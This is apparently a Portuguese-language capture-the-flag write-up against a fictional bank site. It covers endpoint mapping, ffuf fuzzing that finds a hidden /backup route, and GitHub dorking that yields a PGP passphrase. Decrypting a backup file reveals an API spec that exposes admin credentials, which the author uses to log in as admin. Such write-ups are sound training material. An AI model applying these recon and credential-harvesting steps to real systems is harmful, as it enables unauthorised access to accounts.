&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhfli82x6qbi5a4kxiio.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhfli82x6qbi5a4kxiio.png" alt="Login" width="468" height="582"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7wzoylg6w5m1fjd8mlv7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7wzoylg6w5m1fjd8mlv7.png" alt="Burp-Login" width="800" height="388"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Foi mapeado todos os endpoints até então possíveis diante do que foi verificado pelo dev tools e burp suite. Apesar de existir um endpoint /dashboard que é redirecionado pós login, seria difícil de bypassar o mesmo devido as dificuldades no endpoint de /login.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;https://harpia-tech.site/cards.html
https://harpia-tech.site/savings.html
https://harpia-tech.site/loans.html
https://cdn.jsdelivr.net/npm/chart.js
https://harpia-tech.site/api/logout
https://harpia-tech.site/checking.html
https://harpia-tech.site/dashboard.html
https://harpia-tech.site/analytics.html
https://harpia-tech.site/
https://harpia-tech.site/support.html
https://harpia-tech.site/images/cardgeneric.png
https://harpia-tech.site/products.html
https://harpia-tech.site/login
https://harpia-tech.site/harpia-logo-removedbg.png
https://harpia-tech.site/api/balance
https://harpia-tech.site/investments.html
https://harpia-tech.site/api/transactions
https://harpia-tech.site/api/login
https://harpia-tech.site/login.html
https://harpia-tech.site/dashboard
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Além dos endpoints usuais, também havia algumas voltadas a api além do login, dando sinal de que poderia haver algum diretório solto ou que pudesse trazer algo interessante. Entretanto, para isso foi necessário realizar um fuzzing usando ffuf com diretórios comuns e além disso também específicos voltados para apis, etc., mas só foi encontrado uma rota escondida chamada &lt;strong&gt;/backup.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; https://harpia-tech.site/FUZZ &lt;span class="nt"&gt;-w&lt;/span&gt; wordlist.txt &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,304 &lt;span class="nt"&gt;-fs&lt;/span&gt; 404

/backup    &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: xxx, Words: xxx, Lines: 118, Duration: 213ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nele tinha um arquivo zipado intitulado routes e dentro dele 5 arquivos pgp que possuíam mensagens e informações criptografadas, mas que apenas um dos arquivos seria descriptografado pela passphrase correta da chave privada, pois as outras estariam usando subchaves diferentes.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn0l1l052r1ukyp2o3zou.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn0l1l052r1ukyp2o3zou.jpeg" alt="Routes" width="429" height="98"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzivgme6h59an6eqtng7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzivgme6h59an6eqtng7.png" alt="files pgps" width="696" height="239"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Easter Egg
&lt;/h3&gt;

&lt;p&gt;Ao tentar ir pelo caminho fácil de tentar encontrar o robots.txt, a pessoa é redirecionada para a musica do Rick Astley - Never Gonna Give Up hahaha, acabando com os nossos sonhos.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ&amp;amp;ab_channel=RickAstley" rel="noopener noreferrer"&gt;https://www.youtube.com/watch?v=dQw4w9WgXcQ&amp;amp;ab_channel=RickAstley&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Finm525kuxr37g18p6jma.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Finm525kuxr37g18p6jma.jpeg" alt="Rick Astley - Never Gonna Give Up" width="800" height="495"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Importação de chave privada
&lt;/h3&gt;

&lt;p&gt;O cenário parecia perfeito, até que fosse necessário importar a chave privada pgp, e se deparar com a solicitação da frase secreta, tanto que foi o maior problema para resolução, pois não conseguia encontrar nada relacionado a uma possível passphrase. Apenas a frase secreta nos separava da glória, para  conseguir descriptografar a mensagem pgp e assim ter acesso as informações necessárias para finalizar o desafio.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1m9s2dzzkotq1tl2tsu1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1m9s2dzzkotq1tl2tsu1.png" alt="Passphrase - PGP" width="356" height="169"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Após diversas tentativas, havia algo que não tinha de fato tentado decentemente, que foi OSINT PARA DENTRO (pegou mal né) a favor dos meros mortais, como Google Dorks e GitHub Dorks, mas antes disso também foi analisado possibilidades no Linkedin, Twitter ou algo que estivesse relacionado com a empresa ou o social manager Donald Okard. No fim, nada foi encontrado e tudo estava mais óbvio do que nunca,  o lugar que teria tal informação seria justamente o GitHub.&lt;/p&gt;
&lt;h3&gt;
  
  
  GitHub Dorks
&lt;/h3&gt;

&lt;p&gt;Usando o buscador do github foi possível encontrar um repositório do DigiHarp chamado  PGP-EncDec-System.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0lx2fkgb3upxfnrm8nlq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0lx2fkgb3upxfnrm8nlq.png" alt="GitHub" width="800" height="373"&gt;&lt;/a&gt;&lt;br&gt;
Foi então que tudo fez sentido e as coisas realmente funcionaram no processo de resolução do teste. Ao adentrar nele havia as informações para instruir novos funcionarios sobre como o sistema de pgp da empresa funcionava. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl1t3g306esiw1wfpzdg2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl1t3g306esiw1wfpzdg2.png" alt="PGP-passphrase" width="800" height="818"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Descriptografando
&lt;/h2&gt;

&lt;p&gt;Com o acesso ao passphrase só é necessário importar finalmente e descriptografar o arquivo que realmente tinha as informações da rota e é justamente o &lt;strong&gt;marketing.pgp.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gpg &lt;span class="nt"&gt;--import&lt;/span&gt; private.key

gpg &lt;span class="nt"&gt;--decrypt&lt;/span&gt; marketing.pgp 
gpg: cifrado com chave rsa2048, ID F3C9104ACEE74A87, criado em 2025-07-08
      &lt;span class="s2"&gt;"DigiHarp Backup &amp;lt;backup@digiharp.com&amp;gt;"&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"openapi"&lt;/span&gt;: &lt;span class="s2"&gt;"3.0.0"&lt;/span&gt;,
  &lt;span class="s2"&gt;"info"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"title"&lt;/span&gt;: &lt;span class="s2"&gt;"DigiHarp Bank API"&lt;/span&gt;,
    &lt;span class="s2"&gt;"version"&lt;/span&gt;: &lt;span class="s2"&gt;"1.0.0"&lt;/span&gt;,
    &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Backup of some random API endpoints."&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"paths"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"/active-user"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Get active admin user"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Admin credentials"&lt;/span&gt;,
            &lt;span class="s2"&gt;"content"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
              &lt;span class="s2"&gt;"application/json"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;"schema"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"object"&lt;/span&gt;,
                  &lt;span class="s2"&gt;"properties"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;"username"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                      &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"string"&lt;/span&gt;
                    &lt;span class="o"&gt;}&lt;/span&gt;,
                    &lt;span class="s2"&gt;"password"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                      &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"string"&lt;/span&gt;
                    &lt;span class="o"&gt;}&lt;/span&gt;
                  &lt;span class="o"&gt;}&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;,
                &lt;span class="s2"&gt;"example"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
                  &lt;span class="s2"&gt;"username"&lt;/span&gt;: &lt;span class="s2"&gt;"admin"&lt;/span&gt;,
                  &lt;span class="s2"&gt;"password"&lt;/span&gt;: &lt;span class="s2"&gt;"***************"&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
              &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/accounts"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"List all user accounts"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Accounts list"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/accounts/{accountId}"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Get account details"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Account details"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/accounts/{accountId}/balance"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Get account balance"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Account balance"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/accounts/{accountId}/transactions"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"List account transactions"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Transaction list"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/transactions"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"post"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Create a new transaction"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"201"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Transaction created"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/transactions/{transactionId}"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Get transaction details"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Transaction details"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/cards"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"List all cards"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Cards list"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/cards/{cardId}/block"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"post"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Block a card"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Card blocked"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/loans"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"List available loan offers"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Loan offers"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/loans/apply"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"post"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Apply for a loan"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"201"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Loan application submitted"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/investments"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"List investment products"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Investment products"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/investments/{investmentId}/status"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Get investment status"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Investment status"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/support/tickets"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"post"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Open a support ticket"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"201"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Ticket created"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/notifications"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Get user notifications"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Notifications list"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"/profile"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Get user profile"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"User profile"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;,
      &lt;span class="s2"&gt;"put"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"Update user profile"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Profile updated"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;                                        
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Dashboard
&lt;/h2&gt;

&lt;p&gt;Aqui só foi partir para o abraço, pois tinha informações dos endpoints da api, apesar de nem todos estarem de fato acessível, mas tinhamos já a conta do admin (ele sempre está entre nós, é inevitável) e a senha, que estavam como exemplo, na rota de &lt;strong&gt;/active-user&lt;/strong&gt;. Agora só restava encontrar as duas últimas respostas sobre o endereço da conta do administrador e o saldo da conta do usuário perik_lin!&lt;/p&gt;

&lt;p&gt;Ao logar, a resposta da terceira pergunta está no final da página.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6aj88dy8vkpm5znez0ab.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6aj88dy8vkpm5znez0ab.jpeg" alt="User-admin" width="800" height="435"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzjkjsx9rss6sg5i74aua.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzjkjsx9rss6sg5i74aua.png" alt="Address" width="509" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

